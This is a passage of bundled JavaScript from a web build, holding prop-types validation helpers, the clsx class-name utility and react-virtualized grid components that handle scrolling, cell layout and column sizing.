     *   var MyArticle = React.createClass({
     *     propTypes: {
     *       // An optional string prop named "description".
     *       description: Props.string,
     *
     *       // A required enum prop named "category".
     *       category: Props.oneOf(['News','Photos']).isRequired,
     *
     *       // A prop named "dialog" that requires an instance of Dialog.
     *       dialog: Props.instanceOf(Dialog).isRequired
     *     },
     *     render: function() { ... }
     *   });
     *
     * A more formal specification of how these methods are used:
     *
     *   type := array|bool|func|object|number|string|oneOf([...])|instanceOf(...)
     *   decl := ReactPropTypes.{type}(.isRequired)?
     *
     * Each and every declaration produces a function with the same signature. This
     * allows the creation of custom validation functions. For example:
     *
     *  var MyLink = React.createClass({
     *    propTypes: {
     *      // An optional string or URI prop named "href".
     *      href: function(props, propName, componentName) {
     *        var propValue = props[propName];
     *        if (propValue != null && typeof propValue !== 'string' &&
     *            !(propValue instanceof URI)) {
     *          return new Error(
     *            'Expected a string or an URI for ' + propName + ' in ' +
     *            componentName
     *          );
     *        }
     *      }
     *    },
     *    render: function() {...}
     *  });
     *
     * @internal
     */ (propValue);
                if (!iteratorFn) return !1;
                var step, iterator = iteratorFn.call(propValue);
                if (iteratorFn !== propValue.entries) {
                    for (;!(step = iterator.next()).done; ) if (!isNode(step.value)) return !1;
                } else 
                // Iterator will provide entry [k,v] tuples rather than values.
                for (;!(step = iterator.next()).done; ) {
                    var entry = step.value;
                    if (entry && !isNode(entry[1])) return !1;
                }
                return !0;

              default:
                return !1;
            }
        }
        // Equivalent of `typeof` but with special handling for array and regexp.
        function getPropType(propValue) {
            var propType = typeof propValue;
            return Array.isArray(propValue) ? "array" : propValue instanceof RegExp ? "object" : function(propType, propValue) {
                // Native Symbol.
                return "symbol" === propType || 
                // falsy value can't be a Symbol
                !!propValue && (
                // 19.4.3.5 Symbol.prototype[@@toStringTag] === 'Symbol'
                "Symbol" === propValue["@@toStringTag"] || "function" == typeof Symbol && propValue instanceof Symbol);
            }(propType, propValue) ? "symbol" : propType;
        }
        // This handles more types than `getPropType`. Only used for error messages.
        // See `createPrimitiveTypeChecker`.
                function getPreciseType(propValue) {
            if (null == propValue) return "" + propValue;
            var propType = getPropType(propValue);
            if ("object" === propType) {
                if (propValue instanceof Date) return "date";
                if (propValue instanceof RegExp) return "regexp";
            }
            return propType;
        }
        // Returns a string that is postfixed to a warning about an invalid type.
        // For example, "undefined" or "of type array"
                function getPostfixForTypeWarning(value) {
            var type = getPreciseType(value);
            switch (type) {
              case "array":
              case "object":
                return "an " + type;

              case "boolean":
              case "date":
              case "regexp":
                return "a " + type;

              default:
                return type;
            }
        }
        return PropTypeError.prototype = Error.prototype, ReactPropTypes.checkPropTypes = checkPropTypes_1, 
        ReactPropTypes.resetWarningCache = checkPropTypes_1.resetWarningCache, ReactPropTypes.PropTypes = ReactPropTypes;
    }
    var propTypes = createCommonjsModule(function(module) {
        var ReactIs = reactIs;
        // By explicitly using `prop-types` you are opting into new development behavior.
        // http://fb.me/prop-types-in-prod
                module.exports = factoryWithTypeCheckers(ReactIs.isElement, !0);
    });
    function toVal(mix) {
        var k, y, str = "";
        if (mix) if ("object" == typeof mix) if (mix.push) for (k = 0; k < mix.length; k++) mix[k] && (y = toVal(mix[k])) && (str && (str += " "), 
        str += y); else for (k in mix) mix[k] && (y = toVal(k)) && (str && (str += " "), 
        str += y); else "boolean" == typeof mix || mix.call || (str && (str += " "), str += mix);
        return str;
    }
    function clsx() {
        for (var x, i = 0, str = ""; i < arguments.length; ) (x = toVal(arguments[i++])) && (str && (str += " "), 
        str += x);
        return str;
    }
    function createCallbackMemoizer(argument_0) {
        var requireAllKeys = !(0 < arguments.length && void 0 !== argument_0) || argument_0, cachedIndices = {};
        return function(_ref) {
            var callback = _ref.callback, indices = _ref.indices, keys = Object.keys(indices), allInitialized = !requireAllKeys || keys.every(function(key) {
                var value = indices[key];
                return Array.isArray(value) ? 0 < value.length : 0 <= value;
            }), indexChanged = keys.length !== Object.keys(cachedIndices).length || keys.some(function(key) {
                var cachedValue = cachedIndices[key], value = indices[key];
                return Array.isArray(value) ? cachedValue.join(",") !== value.join(",") : cachedValue !== value;
            });
            cachedIndices = indices, allInitialized && indexChanged && callback(indices);
        };
    }
    var size, canUseDOM = !("undefined" == typeof window || !window.document || !window.document.createElement);
    function scrollbarSize(recalc) {
        if ((!size && 0 !== size || recalc) && canUseDOM) {
            var scrollDiv = document.createElement("div");
            scrollDiv.style.position = "absolute", scrollDiv.style.top = "-9999px", scrollDiv.style.width = "50px", 
            scrollDiv.style.height = "50px", scrollDiv.style.overflow = "scroll", document.body.appendChild(scrollDiv), 
            size = scrollDiv.offsetWidth - scrollDiv.clientWidth, document.body.removeChild(scrollDiv);
        }
        return size;
    }
    var SCROLL_POSITION_CHANGE_REASONS_OBSERVED = "observed", SCROLL_POSITION_CHANGE_REASONS_REQUESTED = "requested", CollectionView = function() {
        function CollectionView() {
            var _getPrototypeOf2, _this;
            _classCallCheck(this, CollectionView);
            for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) args[_key] = arguments[_key];
            return _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, (_getPrototypeOf2 = _getPrototypeOf(CollectionView)).call.apply(_getPrototypeOf2, [ this ].concat(args)))), "state", {
                isScrolling: !1,
                scrollLeft: 0,
                scrollTop: 0
            }), _defineProperty(_assertThisInitialized(_this), "_calculateSizeAndPositionDataOnNextUpdate", !1), 
            _defineProperty(_assertThisInitialized(_this), "_onSectionRenderedMemoizer", createCallbackMemoizer()), 
            _defineProperty(_assertThisInitialized(_this), "_onScrollMemoizer", createCallbackMemoizer(!1)), 
            _defineProperty(_assertThisInitialized(_this), "_invokeOnSectionRenderedHelper", function() {
                var _this$props = _this.props, cellLayoutManager = _this$props.cellLayoutManager, onSectionRendered = _this$props.onSectionRendered;
                _this._onSectionRenderedMemoizer({
                    callback: onSectionRendered,
                    indices: {
                        indices: cellLayoutManager.getLastRenderedIndices()
                    }
                });
            }), _defineProperty(_assertThisInitialized(_this), "_setScrollingContainerRef", function(ref) {
                _this._scrollingContainer = ref;
            }), _defineProperty(_assertThisInitialized(_this), "_updateScrollPositionForScrollToCell", function() {
                var _this$props2 = _this.props, cellLayoutManager = _this$props2.cellLayoutManager, height = _this$props2.height, scrollToAlignment = _this$props2.scrollToAlignment, scrollToCell = _this$props2.scrollToCell, width = _this$props2.width, _this$state = _this.state, scrollLeft = _this$state.scrollLeft, scrollTop = _this$state.scrollTop;
                if (0 <= scrollToCell) {
                    var scrollPosition = cellLayoutManager.getScrollPositionForCell({
                        align: scrollToAlignment,
                        cellIndex: scrollToCell,
                        height: height,
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop,
                        width: width
                    });
                    scrollPosition.scrollLeft === scrollLeft && scrollPosition.scrollTop === scrollTop || _this._setScrollPosition(scrollPosition);
                }
            }), _defineProperty(_assertThisInitialized(_this), "_onScroll", function(event) {
                if (event.target === _this._scrollingContainer) {
                    _this._enablePointerEventsAfterDelay();
                    var _this$props3 = _this.props, cellLayoutManager = _this$props3.cellLayoutManager, height = _this$props3.height, isScrollingChange = _this$props3.isScrollingChange, width = _this$props3.width, scrollbarSize = _this._scrollbarSize, _cellLayoutManager$ge = cellLayoutManager.getTotalSize(), totalHeight = _cellLayoutManager$ge.height, totalWidth = _cellLayoutManager$ge.width, scrollLeft = Math.max(0, Math.min(totalWidth - width + scrollbarSize, event.target.scrollLeft)), scrollTop = Math.max(0, Math.min(totalHeight - height + scrollbarSize, event.target.scrollTop));
                    if (_this.state.scrollLeft !== scrollLeft || _this.state.scrollTop !== scrollTop) {
                        var scrollPositionChangeReason = event.cancelable ? SCROLL_POSITION_CHANGE_REASONS_OBSERVED : SCROLL_POSITION_CHANGE_REASONS_REQUESTED;
                        _this.state.isScrolling || isScrollingChange(!0), _this.setState({
                            isScrolling: !0,
                            scrollLeft: scrollLeft,
                            scrollPositionChangeReason: scrollPositionChangeReason,
                            scrollTop: scrollTop
                        });
                    }
                    _this._invokeOnScrollMemoizer({
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop,
                        totalWidth: totalWidth,
                        totalHeight: totalHeight
                    });
                }
            }), _this._scrollbarSize = scrollbarSize(), void 0 === _this._scrollbarSize ? (_this._scrollbarSizeMeasured = !1, 
            _this._scrollbarSize = 0) : _this._scrollbarSizeMeasured = !0, _this;
        }
        return _inherits(CollectionView, React.PureComponent), _createClass(CollectionView, [ {
            key: "recomputeCellSizesAndPositions",
            value: function() {
                this._calculateSizeAndPositionDataOnNextUpdate = !0, this.forceUpdate();
            }
        }, {
            key: "componentDidMount",
            value: function() {
                var _this$props4 = this.props, cellLayoutManager = _this$props4.cellLayoutManager, scrollLeft = _this$props4.scrollLeft, scrollToCell = _this$props4.scrollToCell, scrollTop = _this$props4.scrollTop;
                this._scrollbarSizeMeasured || (this._scrollbarSize = scrollbarSize(), this._scrollbarSizeMeasured = !0, 
                this.setState({})), 0 <= scrollToCell ? this._updateScrollPositionForScrollToCell() : (0 <= scrollLeft || 0 <= scrollTop) && this._setScrollPosition({
                    scrollLeft: scrollLeft,
                    scrollTop: scrollTop
                }), this._invokeOnSectionRenderedHelper();
                var _cellLayoutManager$ge2 = cellLayoutManager.getTotalSize(), totalHeight = _cellLayoutManager$ge2.height, totalWidth = _cellLayoutManager$ge2.width;
                this._invokeOnScrollMemoizer({
                    scrollLeft: scrollLeft || 0,
                    scrollTop: scrollTop || 0,
                    totalHeight: totalHeight,
                    totalWidth: totalWidth
                });
            }
        }, {
            key: "componentDidUpdate",
            value: function(prevProps, prevState) {
                var _this$props5 = this.props, height = _this$props5.height, scrollToAlignment = _this$props5.scrollToAlignment, scrollToCell = _this$props5.scrollToCell, width = _this$props5.width, _this$state2 = this.state, scrollLeft = _this$state2.scrollLeft, scrollPositionChangeReason = _this$state2.scrollPositionChangeReason, scrollTop = _this$state2.scrollTop;
                scrollPositionChangeReason === SCROLL_POSITION_CHANGE_REASONS_REQUESTED && (0 <= scrollLeft && scrollLeft !== prevState.scrollLeft && scrollLeft !== this._scrollingContainer.scrollLeft && (this._scrollingContainer.scrollLeft = scrollLeft), 
                0 <= scrollTop && scrollTop !== prevState.scrollTop && scrollTop !== this._scrollingContainer.scrollTop && (this._scrollingContainer.scrollTop = scrollTop)), 
                height === prevProps.height && scrollToAlignment === prevProps.scrollToAlignment && scrollToCell === prevProps.scrollToCell && width === prevProps.width || this._updateScrollPositionForScrollToCell(), 
                this._invokeOnSectionRenderedHelper();
            }
        }, {
            key: "componentWillUnmount",
            value: function() {
                this._disablePointerEventsTimeoutId && clearTimeout(this._disablePointerEventsTimeoutId);
            }
        }, {
            key: "render",
            value: function() {
                var _this$props6 = this.props, autoHeight = _this$props6.autoHeight, cellCount = _this$props6.cellCount, cellLayoutManager = _this$props6.cellLayoutManager, className = _this$props6.className, height = _this$props6.height, horizontalOverscanSize = _this$props6.horizontalOverscanSize, id = _this$props6.id, noContentRenderer = _this$props6.noContentRenderer, style = _this$props6.style, verticalOverscanSize = _this$props6.verticalOverscanSize, width = _this$props6.width, _this$state3 = this.state, isScrolling = _this$state3.isScrolling, scrollLeft = _this$state3.scrollLeft, scrollTop = _this$state3.scrollTop;
                this._lastRenderedCellCount === cellCount && this._lastRenderedCellLayoutManager === cellLayoutManager && !this._calculateSizeAndPositionDataOnNextUpdate || (this._lastRenderedCellCount = cellCount, 
                this._lastRenderedCellLayoutManager = cellLayoutManager, this._calculateSizeAndPositionDataOnNextUpdate = !1, 
                cellLayoutManager.calculateSizeAndPositionData());
                var _cellLayoutManager$ge3 = cellLayoutManager.getTotalSize(), totalHeight = _cellLayoutManager$ge3.height, totalWidth = _cellLayoutManager$ge3.width, left = Math.max(0, scrollLeft - horizontalOverscanSize), top = Math.max(0, scrollTop - verticalOverscanSize), right = Math.min(totalWidth, scrollLeft + width + horizontalOverscanSize), bottom = Math.min(totalHeight, scrollTop + height + verticalOverscanSize), childrenToDisplay = 0 < height && 0 < width ? cellLayoutManager.cellRenderers({
                    height: bottom - top,
                    isScrolling: isScrolling,
                    width: right - left,
                    x: left,
                    y: top
                }) : [], collectionStyle = {
                    boxSizing: "border-box",
                    direction: "ltr",
                    height: autoHeight ? "auto" : height,
                    position: "relative",
                    WebkitOverflowScrolling: "touch",
                    width: width,
                    willChange: "transform"
                }, verticalScrollBarSize = height < totalHeight ? this._scrollbarSize : 0, horizontalScrollBarSize = width < totalWidth ? this._scrollbarSize : 0;
                return collectionStyle.overflowX = totalWidth + verticalScrollBarSize <= width ? "hidden" : "auto", 
                collectionStyle.overflowY = totalHeight + horizontalScrollBarSize <= height ? "hidden" : "auto", 
                React.createElement("div", {
                    ref: this._setScrollingContainerRef,
                    "aria-label": this.props["aria-label"],
                    className: clsx("ReactVirtualized__Collection", className),
                    id: id,
                    onScroll: this._onScroll,
                    role: "grid",
                    style: _objectSpread2({}, collectionStyle, {}, style),
                    tabIndex: 0
                }, 0 < cellCount && React.createElement("div", {
                    className: "ReactVirtualized__Collection__innerScrollContainer",
                    style: {
                        height: totalHeight,
                        maxHeight: totalHeight,
                        maxWidth: totalWidth,
                        overflow: "hidden",
                        pointerEvents: isScrolling ? "none" : "",
                        width: totalWidth
                    }
                }, childrenToDisplay), 0 === cellCount && noContentRenderer());
            }
        }, {
            key: "_enablePointerEventsAfterDelay",
            value: function() {
                var _this2 = this;
                this._disablePointerEventsTimeoutId && clearTimeout(this._disablePointerEventsTimeoutId), 
                this._disablePointerEventsTimeoutId = setTimeout(function() {
                    (0, _this2.props.isScrollingChange)(!1), _this2._disablePointerEventsTimeoutId = null, 
                    _this2.setState({
                        isScrolling: !1
                    });
                }, 150);
            }
        }, {
            key: "_invokeOnScrollMemoizer",
            value: function(_ref) {
                var _this3 = this, scrollLeft = _ref.scrollLeft, scrollTop = _ref.scrollTop, totalHeight = _ref.totalHeight, totalWidth = _ref.totalWidth;
                this._onScrollMemoizer({
                    callback: function(_ref2) {
                        var scrollLeft = _ref2.scrollLeft, scrollTop = _ref2.scrollTop, _this3$props = _this3.props, height = _this3$props.height;
                        (0, _this3$props.onScroll)({
                            clientHeight: height,
                            clientWidth: _this3$props.width,
                            scrollHeight: totalHeight,
                            scrollLeft: scrollLeft,
                            scrollTop: scrollTop,
                            scrollWidth: totalWidth
                        });
                    },
                    indices: {
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop
                    }
                });
            }
        }, {
            key: "_setScrollPosition",
            value: function(_ref3) {
                var scrollLeft = _ref3.scrollLeft, scrollTop = _ref3.scrollTop, newState = {
                    scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS_REQUESTED
                };
                0 <= scrollLeft && (newState.scrollLeft = scrollLeft), 0 <= scrollTop && (newState.scrollTop = scrollTop), 
                (0 <= scrollLeft && scrollLeft !== this.state.scrollLeft || 0 <= scrollTop && scrollTop !== this.state.scrollTop) && this.setState(newState);
            }
        } ], [ {
            key: "getDerivedStateFromProps",
            value: function(nextProps, prevState) {
                return 0 !== nextProps.cellCount || 0 === prevState.scrollLeft && 0 === prevState.scrollTop ? nextProps.scrollLeft !== prevState.scrollLeft || nextProps.scrollTop !== prevState.scrollTop ? {
                    scrollLeft: null != nextProps.scrollLeft ? nextProps.scrollLeft : prevState.scrollLeft,
                    scrollTop: null != nextProps.scrollTop ? nextProps.scrollTop : prevState.scrollTop,
                    scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS_REQUESTED
                } : null : {
                    scrollLeft: 0,
                    scrollTop: 0,
                    scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS_REQUESTED
                };
            }
        } ]), CollectionView;
    }();
    _defineProperty(CollectionView, "propTypes", {
        "aria-label": propTypes.string,
        autoHeight: propTypes.bool,
        cellCount: propTypes.number.isRequired,
        cellLayoutManager: propTypes.object.isRequired,
        className: propTypes.string,
        height: propTypes.number.isRequired,
        id: propTypes.string,
        horizontalOverscanSize: propTypes.number.isRequired,
        isScrollingChange: propTypes.func,
        noContentRenderer: propTypes.func.isRequired,
        onScroll: propTypes.func.isRequired,
        onSectionRendered: propTypes.func.isRequired,
        scrollLeft: propTypes.number,
        scrollToAlignment: propTypes.oneOf([ "auto", "end", "start", "center" ]).isRequired,
        scrollToCell: propTypes.number.isRequired,
        scrollTop: propTypes.number,
        style: propTypes.object,
        verticalOverscanSize: propTypes.number.isRequired,
        width: propTypes.number.isRequired
    }), _defineProperty(CollectionView, "defaultProps", {
        "aria-label": "grid",
        horizontalOverscanSize: 0,
        noContentRenderer: function() {
            return null;
        },
        onScroll: function() {
            return null;
        },
        onSectionRendered: function() {
            return null;
        },
        scrollToAlignment: "auto",
        scrollToCell: -1,
        style: {},
        verticalOverscanSize: 0
    }), polyfill(CollectionView);
    var Section = function() {
        function Section(_ref) {
            var height = _ref.height, width = _ref.width, x = _ref.x, y = _ref.y;
            _classCallCheck(this, Section), this.height = height, this.width = width, this.x = x, 
            this.y = y, this._indexMap = {}, this._indices = [];
        }
        return _createClass(Section, [ {
            key: "addCellIndex",
            value: function(_ref2) {
                var index = _ref2.index;
                this._indexMap[index] || (this._indexMap[index] = !0, this._indices.push(index));
            }
        }, {
            key: "getCellIndices",
            value: function() {
                return this._indices;
            }
        }, {
            key: "toString",
            value: function() {
                return "".concat(this.x, ",").concat(this.y, " ").concat(this.width, "x").concat(this.height);
            }
        } ]), Section;
    }(), SectionManager = function() {
        function SectionManager() {
            var sectionSize = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : 100;
            _classCallCheck(this, SectionManager), this._sectionSize = sectionSize, this._cellMetadata = [], 
            this._sections = {};
        }
        return _createClass(SectionManager, [ {
            key: "getCellIndices",
            value: function(_ref) {
                var height = _ref.height, width = _ref.width, x = _ref.x, y = _ref.y, indices = {};
                return this.getSections({
                    height: height,
                    width: width,
                    x: x,
                    y: y
                }).forEach(function(section) {
                    return section.getCellIndices().forEach(function(index) {
                        indices[index] = index;
                    });
                }), Object.keys(indices).map(function(index) {
                    return indices[index];
                });
            }
        }, {
            key: "getCellMetadata",
            value: function(_ref2) {
                var index = _ref2.index;
                return this._cellMetadata[index];
            }
        }, {
            key: "getSections",
            value: function(_ref3) {
                for (var height = _ref3.height, width = _ref3.width, x = _ref3.x, y = _ref3.y, sectionXStart = Math.floor(x / this._sectionSize), sectionXStop = Math.floor((x + width - 1) / this._sectionSize), sectionYStart = Math.floor(y / this._sectionSize), sectionYStop = Math.floor((y + height - 1) / this._sectionSize), sections = [], sectionX = sectionXStart; sectionX <= sectionXStop; sectionX++) for (var sectionY = sectionYStart; sectionY <= sectionYStop; sectionY++) {
                    var key = "".concat(sectionX, ".").concat(sectionY);
                    this._sections[key] || (this._sections[key] = new Section({
                        height: this._sectionSize,
                        width: this._sectionSize,
                        x: sectionX * this._sectionSize,
                        y: sectionY * this._sectionSize
                    })), sections.push(this._sections[key]);
                }
                return sections;
            }
        }, {
            key: "getTotalSectionCount",
            value: function() {
                return Object.keys(this._sections).length;
            }
        }, {
            key: "toString",
            value: function() {
                var _this = this;
                return Object.keys(this._sections).map(function(index) {
                    return _this._sections[index].toString();
                });
            }
        }, {
            key: "registerCell",
            value: function(_ref4) {
                var cellMetadatum = _ref4.cellMetadatum, index = _ref4.index;
                this._cellMetadata[index] = cellMetadatum, this.getSections(cellMetadatum).forEach(function(section) {
                    return section.addCellIndex({
                        index: index
                    });
                });
            }
        } ]), SectionManager;
    }();
    function getUpdatedOffsetForIndex(_ref) {
        var _ref$align = _ref.align, align = void 0 === _ref$align ? "auto" : _ref$align, cellOffset = _ref.cellOffset, cellSize = _ref.cellSize, containerSize = _ref.containerSize, currentOffset = _ref.currentOffset, maxOffset = cellOffset, minOffset = maxOffset - containerSize + cellSize;
        switch (align) {
          case "start":
            return maxOffset;

          case "end":
            return minOffset;

          case "center":
            return maxOffset - (containerSize - cellSize) / 2;

          default:
            return Math.max(minOffset, Math.min(maxOffset, currentOffset));
        }
    }
    var Collection = function() {
        function Collection(props, context) {
            var _this;
            return _classCallCheck(this, Collection), (_this = _possibleConstructorReturn(this, _getPrototypeOf(Collection).call(this, props, context)))._cellMetadata = [], 
            _this._lastRenderedCellIndices = [], _this._cellCache = [], _this._isScrollingChange = _this._isScrollingChange.bind(_assertThisInitialized(_this)), 
            _this._setCollectionViewRef = _this._setCollectionViewRef.bind(_assertThisInitialized(_this)), 
            _this;
        }
        return _inherits(Collection, React.PureComponent), _createClass(Collection, [ {
            key: "forceUpdate",
            value: function() {
                void 0 !== this._collectionView && this._collectionView.forceUpdate();
            }
        }, {
            key: "recomputeCellSizesAndPositions",
            value: function() {
                this._cellCache = [], this._collectionView.recomputeCellSizesAndPositions();
            }
        }, {
            key: "render",
            value: function() {
                var props = _extends({}, this.props);
                return React.createElement(CollectionView, _extends({
                    cellLayoutManager: this,
                    isScrollingChange: this._isScrollingChange,
                    ref: this._setCollectionViewRef
                }, props));
            }
        }, {
            key: "calculateSizeAndPositionData",
            value: function() {
                var _this$props = this.props, data = function(_ref) {
                    for (var cellCount = _ref.cellCount, cellSizeAndPositionGetter = _ref.cellSizeAndPositionGetter, sectionSize = _ref.sectionSize, cellMetadata = [], sectionManager = new SectionManager(sectionSize), height = 0, width = 0, index = 0; index < cellCount; index++) {
                        var cellMetadatum = cellSizeAndPositionGetter({
                            index: index
                        });
                        if (null == cellMetadatum.height || isNaN(cellMetadatum.height) || null == cellMetadatum.width || isNaN(cellMetadatum.width) || null == cellMetadatum.x || isNaN(cellMetadatum.x) || null == cellMetadatum.y || isNaN(cellMetadatum.y)) throw Error("Invalid metadata returned for cell ".concat(index, ":\n        x:").concat(cellMetadatum.x, ", y:").concat(cellMetadatum.y, ", width:").concat(cellMetadatum.width, ", height:").concat(cellMetadatum.height));
                        height = Math.max(height, cellMetadatum.y + cellMetadatum.height), width = Math.max(width, cellMetadatum.x + cellMetadatum.width), 
                        cellMetadata[index] = cellMetadatum, sectionManager.registerCell({
                            cellMetadatum: cellMetadatum,
                            index: index
                        });
                    }
                    return {
                        cellMetadata: cellMetadata,
                        height: height,
                        sectionManager: sectionManager,
                        width: width
                    };
                }({
                    cellCount: _this$props.cellCount,
                    cellSizeAndPositionGetter: _this$props.cellSizeAndPositionGetter,
                    sectionSize: _this$props.sectionSize
                });
                this._cellMetadata = data.cellMetadata, this._sectionManager = data.sectionManager, 
                this._height = data.height, this._width = data.width;
            }
        }, {
            key: "getLastRenderedIndices",
            value: function() {
                return this._lastRenderedCellIndices;
            }
        }, {
            key: "getScrollPositionForCell",
            value: function(_ref) {
                var align = _ref.align, cellIndex = _ref.cellIndex, height = _ref.height, scrollLeft = _ref.scrollLeft, scrollTop = _ref.scrollTop, width = _ref.width, cellCount = this.props.cellCount;
                if (0 <= cellIndex && cellIndex < cellCount) {
                    var cellMetadata = this._cellMetadata[cellIndex];
                    scrollLeft = getUpdatedOffsetForIndex({
                        align: align,
                        cellOffset: cellMetadata.x,
                        cellSize: cellMetadata.width,
                        containerSize: width,
                        currentOffset: scrollLeft,
                        targetIndex: cellIndex
                    }), scrollTop = getUpdatedOffsetForIndex({
                        align: align,
                        cellOffset: cellMetadata.y,
                        cellSize: cellMetadata.height,
                        containerSize: height,
                        currentOffset: scrollTop,
                        targetIndex: cellIndex
                    });
                }
                return {
                    scrollLeft: scrollLeft,
                    scrollTop: scrollTop
                };
            }
        }, {
            key: "getTotalSize",
            value: function() {
                return {
                    height: this._height,
                    width: this._width
                };
            }
        }, {
            key: "cellRenderers",
            value: function(_ref2) {
                var _this2 = this, height = _ref2.height, isScrolling = _ref2.isScrolling, width = _ref2.width, x = _ref2.x, y = _ref2.y, _this$props2 = this.props, cellGroupRenderer = _this$props2.cellGroupRenderer, cellRenderer = _this$props2.cellRenderer;
                return this._lastRenderedCellIndices = this._sectionManager.getCellIndices({
                    height: height,
                    width: width,
                    x: x,
                    y: y
                }), cellGroupRenderer({
                    cellCache: this._cellCache,
                    cellRenderer: cellRenderer,
                    cellSizeAndPositionGetter: function(_ref3) {
                        var index = _ref3.index;
                        return _this2._sectionManager.getCellMetadata({
                            index: index
                        });
                    },
                    indices: this._lastRenderedCellIndices,
                    isScrolling: isScrolling
                });
            }
        }, {
            key: "_isScrollingChange",
            value: function(isScrolling) {
                isScrolling || (this._cellCache = []);
            }
        }, {
            key: "_setCollectionViewRef",
            value: function(ref) {
                this._collectionView = ref;
            }
        } ]), Collection;
    }();
    _defineProperty(Collection, "propTypes", {
        "aria-label": propTypes.string,
        cellCount: propTypes.number.isRequired,
        cellGroupRenderer: propTypes.func.isRequired,
        cellRenderer: propTypes.func.isRequired,
        cellSizeAndPositionGetter: propTypes.func.isRequired,
        sectionSize: propTypes.number
    }), _defineProperty(Collection, "defaultProps", {
        "aria-label": "grid",
        cellGroupRenderer: function(_ref4) {
            var cellCache = _ref4.cellCache, cellRenderer = _ref4.cellRenderer, cellSizeAndPositionGetter = _ref4.cellSizeAndPositionGetter, indices = _ref4.indices, isScrolling = _ref4.isScrolling;
            return indices.map(function(index) {
                var cellMetadata = cellSizeAndPositionGetter({
                    index: index
                }), cellRendererProps = {
                    index: index,
                    isScrolling: isScrolling,
                    key: index,
                    style: {
                        height: cellMetadata.height,
                        left: cellMetadata.x,
                        position: "absolute",
                        top: cellMetadata.y,
                        width: cellMetadata.width
                    }
                };
                return isScrolling ? (index in cellCache || (cellCache[index] = cellRenderer(cellRendererProps)), 
                cellCache[index]) : cellRenderer(cellRendererProps);
            }).filter(function(renderedCell) {
                return !!renderedCell;
            });
        }
    });
    var ColumnSizer = function() {
        function ColumnSizer(props, context) {
            var _this;
            return _classCallCheck(this, ColumnSizer), (_this = _possibleConstructorReturn(this, _getPrototypeOf(ColumnSizer).call(this, props, context)))._registerChild = _this._registerChild.bind(_assertThisInitialized(_this)), 
            _this;
        }
        return _inherits(ColumnSizer, React.PureComponent), _createClass(ColumnSizer, [ {
            key: "componentDidUpdate",
            value: function(prevProps) {
                var _this$props = this.props, columnMaxWidth = _this$props.columnMaxWidth, columnMinWidth = _this$props.columnMinWidth, columnCount = _this$props.columnCount, width = _this$props.width;
                columnMaxWidth === prevProps.columnMaxWidth && columnMinWidth === prevProps.columnMinWidth && columnCount === prevProps.columnCount && width === prevProps.width || this._registeredChild && this._registeredChild.recomputeGridSize();
            }
        }, {
            key: "render",
            value: function() {
                var _this$props2 = this.props, children = _this$props2.children, columnMaxWidth = _this$props2.columnMaxWidth, columnMinWidth = _this$props2.columnMinWidth, columnCount = _this$props2.columnCount, width = _this$props2.width, safeColumnMinWidth = columnMinWidth || 1, safeColumnMaxWidth = columnMaxWidth ? Math.min(columnMaxWidth, width) : width, columnWidth = width / columnCount;
                return columnWidth = Math.max(safeColumnMinWidth, columnWidth), columnWidth = Math.min(safeColumnMaxWidth, columnWidth), 
                columnWidth = Math.floor(columnWidth), children({
                    adjustedWidth: Math.min(width, columnWidth * columnCount),
                    columnWidth: columnWidth,
                    getColumnWidth: function() {
                        return columnWidth;
                    },
                    registerChild: this._registerChild
                });
            }
        }, {
            key: "_registerChild",
            value: function(child) {
                if (child && "function" != typeof child.recomputeGridSize) throw Error("Unexpected child type registered; only Grid/MultiGrid children are supported.");
                this._registeredChild = child, this._registeredChild && this._registeredChild.recomputeGridSize();
            }
        } ]), ColumnSizer;
    }();
    function calculateSizeAndPositionDataAndUpdateScrollOffset(_ref) {
        var cellCount = _ref.cellCount, cellSize = _ref.cellSize, computeMetadataCallback = _ref.computeMetadataCallback, computeMetadataCallbackProps = _ref.computeMetadataCallbackProps, nextCellsCount = _ref.nextCellsCount, nextCellSize = _ref.nextCellSize, nextScrollToIndex = _ref.nextScrollToIndex, scrollToIndex = _ref.scrollToIndex, updateScrollOffsetForScrollToIndex = _ref.updateScrollOffsetForScrollToIndex;
        cellCount === nextCellsCount && ("number" != typeof cellSize && "number" != typeof nextCellSize || cellSize === nextCellSize) || (computeMetadataCallback(computeMetadataCallbackProps), 
        0 <= scrollToIndex && scrollToIndex === nextScrollToIndex && updateScrollOffsetForScrollToIndex());
    }
    _defineProperty(ColumnSizer, "propTypes", {
        children: propTypes.func.isRequired,
        columnMaxWidth: propTypes.number,
        columnMinWidth: propTypes.number,
        columnCount: propTypes.number.isRequired,
        width: propTypes.number.isRequired
    });
    var win, CellSizeAndPositionManager = function() {
        function CellSizeAndPositionManager(_ref) {
            var cellCount = _ref.cellCount, cellSizeGetter = _ref.cellSizeGetter, estimatedCellSize = _ref.estimatedCellSize;
            _classCallCheck(this, CellSizeAndPositionManager), _defineProperty(this, "_cellSizeAndPositionData", {}), 
            _defineProperty(this, "_lastMeasuredIndex", -1), _defineProperty(this, "_lastBatchedIndex", -1), 
            _defineProperty(this, "_cellCount", void 0), _defineProperty(this, "_cellSizeGetter", void 0), 
            _defineProperty(this, "_estimatedCellSize", void 0), this._cellSizeGetter = cellSizeGetter, 
            this._cellCount = cellCount, this._estimatedCellSize = estimatedCellSize;
        }
        return _createClass(CellSizeAndPositionManager, [ {
            key: "areOffsetsAdjusted",
            value: function() {
                return !1;
            }
        }, {
            key: "configure",
            value: function(_ref2) {
                var cellCount = _ref2.cellCount, estimatedCellSize = _ref2.estimatedCellSize, cellSizeGetter = _ref2.cellSizeGetter;
                this._cellCount = cellCount, this._estimatedCellSize = estimatedCellSize, this._cellSizeGetter = cellSizeGetter;
            }
        }, {
            key: "getCellCount",
            value: function() {
                return this._cellCount;
            }
        }, {
            key: "getEstimatedCellSize",
            value: function() {
                return this._estimatedCellSize;
            }
        }, {
            key: "getLastMeasuredIndex",
            value: function() {
                return this._lastMeasuredIndex;
            }
        }, {
            key: "getOffsetAdjustment",
            value: function() {
                return 0;
            }
        }, {
            key: "getSizeAndPositionOfCell",
            value: function(index) {
